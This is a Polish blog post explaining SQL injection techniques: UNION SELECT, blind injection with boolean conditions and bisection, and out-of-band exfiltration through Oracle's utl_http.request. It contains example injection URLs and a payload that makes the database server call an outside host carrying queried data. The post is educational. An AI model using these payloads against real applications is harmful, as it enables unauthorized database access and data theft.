Lepsze niż blind: utl_http.request

Dawno, dawno temu, gdy w 2002 roku Bronek Kozicki na jednej z konferencji demonstrował na żywo sql injection, korzystał on (a przynajmniej tak mi w pamięci utkwiło) z UNION SELECT. Teraz świat się zmienił...

W przypadku UNION SELECT sql injection wydaje się najbardziej efektowne. W miejscu, gdzie powinny pojawić się jakieś niegroźne dane, pojawia się nagle lista użytkowników i ich hasła. Jak to jest możliwe? Najłatwiejszy przykład: SELECT a,b FROM tabela1 WHEREid=2. Wartość id brana jest z danych przekazanych przez użytkownika i jeśli nie ma odpowiedniej walidacji, to można zamiast oczekiwanej wartości przekazać coś takiego: 2 UNION SELECT c,d FROM tabela2 , co powoduje, że całe zapytanie będzie miało formę SELECT a,b FROM tabela1 WHERE id=2 UNION SELECT c,d FROM tabela2. Efekt? W wynikowych danych poza danymi z tabela1 pojawią się również dane z tabela2. Proste? Teoretycznie tak, tylko, że to, co jest zwracane przez UNION musi mieć tą samą ilość kolumn, co główny SELECT , jak również (w niektórych przypadkach) ten sam typ. Dawno temu szczególnie aplikacje w ASP lubiły “spowiadać się” z tego co im nie pasuje w zapytaniu, więc dobranie odpowiedniej ilości parametrów i ich typu było może i monotonne, ale dość łatwe. Czasy się jednak zmieniają, choć sql injection dalej się trafia, to stopień “pomocności” aplikacji znacznie się obniżył, a stopień skomplikowania wykorzystanych zapytań niejednokrotnie znacznie wzrósł... W efekcie wykorzystanie techniki z UNION staje się po prostu nieefektywne i może przyprawić o siwe włosy.

Z pomocą przyszedł covert channel i blind sql-injection okazało się niejednokrotnie łatwiejsze do zastosowania. Jak to działa? Przykładowo jeśli mamy adres http://host.domena/plik?id=1 , który powoduje wyświetlenie pewnej informacji (na przykład artykułu o identyfikatorze 1) i jest w parametrze id sql-injection możemy wykorzystać fakt wyświetlenia/nie wyświetlenia właściwego artykułu jako wspomniany ukryty kanał komunikacyjny. Należy znaleźć “warunek na blinda”, czyli na przykład coś takiego: http://host.domena/plik?id=1**AND 1=1** oraz http://host.domena/plik?id=1**AND 1=0**. W pierwszym wypadku artykuł powinien się wyświetlić (bo 1=1), natomiast w drugim już nie (bo 1!=0). Dalej można próbować zastąpić prawą stronę “warunku na blinda” subselectem, co może wyglądać tak: http://host.domena/plik?id=1**AND 1=(SELECT 1 FROM DUAL)** oraz http://host.domena/plik?id=1**AND 1=(SELECT 0 FROM DUAL)**. Jeśli to zadziała, to można zacząć wyciągać dane z bazy. Jak? Na przykład poprzez wyciąganie z interesującego nas stringu jego poszczególnych liter, zamianie na ich kod ASCII, a następnie metodą bisekcji – znalezienie jego wartości. Krok z kodem ASCII i bisekcją można oczywiście pominąć i zamiast tego sekwencyjnie przejść przez wszystkie dostępne znaki, choć jednak przyznać trzeba, że bisekcja jest po prostu szybka.

A o co chodzi z tym utl_http.request? W niektórych przypadkach (gdy pakiet utl_http jest dostępny, a serwer bazodanowy ma możliwość łączenia się z siecią), możliwe jest jest zrobienie czegoś takiego: http://host.domena/plik?id=1 AND 0 =**length((SELECT utlhttp.request('http://host.inna.domena/test' FROM DUAL)))**_. Spowodować to powinno odwołanie do serwera host.inna.domena o plik test. Oczywiście zamiast o ten plik, można zapytać o coś zupełnie innego, co pochodzi z kolejnego subselecta wstawionego na przykład przez ' || (SELECT 'test' FROM DUAL) || '.

Oryginał tego wpisu dostępny jest pod adresem [Lepsze niż blind: utlhttp.request](https://archive.mroczna-zaloga.org/archives/179-lepsze-ni-blind-utl_http.request.html)_

Autor: Paweł Goleń